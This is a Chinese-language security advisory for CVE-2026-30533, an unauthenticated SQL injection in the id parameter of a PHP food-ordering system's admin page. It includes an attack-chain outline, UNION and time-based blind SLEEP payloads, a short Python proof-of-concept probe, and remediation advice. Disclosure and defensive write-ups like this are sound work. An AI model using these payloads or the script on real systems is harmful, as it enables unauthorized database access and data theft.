IPBUF安全漏洞报告
English
CVE-2026-30533 CVSS 9.8 严重

CVE-2026-30533 在线订餐系统SQL注入漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-30533
漏洞类型
SQL注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Online Food Ordering System

相关标签

SQL注入CVE-2026-30533SourceCodesterWeb安全远程代码执行

漏洞概述

SourceCodester Online Food Ordering System v1.0版本存在严重的SQL注入漏洞。该漏洞位于admin/manage_product.php文件中,由于未对用户输入的id参数进行安全过滤,导致攻击者可构造恶意SQL语句执行。由于无需认证即可利用,攻击者可远程窃取数据库敏感信息、篡改后台数据,严重威胁系统安全。

技术细节

该漏洞的成因在于后端PHP代码在处理admin/manage_product.php请求时,直接将GET请求中的id参数拼接到SQL查询语句中,未使用PDO预处理或mysqli_stmt等安全的数据库操作方式。攻击者可以通过发送包含单引号、UNION操作符或布尔逻辑的恶意Payload,干扰原始SQL逻辑。例如,通过构建id=1 UNION SELECT user(), version(),攻击者可以获取数据库版本信息。由于CVSS评分为9.8,且无需用户交互,攻击者可利用此漏洞进一步获取管理员账户哈希,甚至通过特定的存储过程或文件写入函数尝试获取服务器Shell,导致完全的系统失陷。

攻击链分析

STEP 1
侦察
攻击者识别出目标正在运行SourceCodester Online Food Ordering System v1.0。
STEP 2
漏洞探测
攻击者向admin/manage_product.php发送包含特殊字符(如单引号)的id参数,观察错误响应以确认SQL注入点。
STEP 3
利用
攻击者构造恶意的SQL Payload(如UNION SELECT或布尔盲注语句),通过id参数发送至服务器。
STEP 4
数据窃取
数据库执行恶意SQL语句,返回敏感信息(如管理员密码哈希、用户数据)给攻击者。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC for CVE-2026-30533 SQL Injection import requests def check_vulnerability(url): """ Checks if the target is vulnerable to SQL Injection in the 'id' parameter. """ # Payload for time-based blind SQL injection (SLEEP 5 seconds) injection_payload = "1' AND SLEEP(5)-- -" target_endpoint = f"{url}/admin/manage_product.php" params = {"id": injection_payload} try: print(f"[*] Sending request to: {target_endpoint}") response = requests.get(target_endpoint, params=params, timeout=10) # Check if response time indicates successful execution if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! The application responded with a delay.") print("[+] Potential for data extraction exists.") else: print("[-] Vulnerability not detected or payload ineffective.") print(f"[*] Response time: {response.elapsed.total_seconds()} seconds") except requests.exceptions.RequestException as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1" # Replace with actual target host check_vulnerability(target)

影响范围

SourceCodester Online Food Ordering System v1.0

防御指南

临时缓解措施
建议立即修改admin/manage_product.php文件,将基于字符串拼接的SQL查询改为使用预处理语句。在未修复前,应限制对/admin/目录的网络访问,仅允许受信任的IP地址访问后台管理页面,并在边界防火墙处拦截包含SQL关键字的异常请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表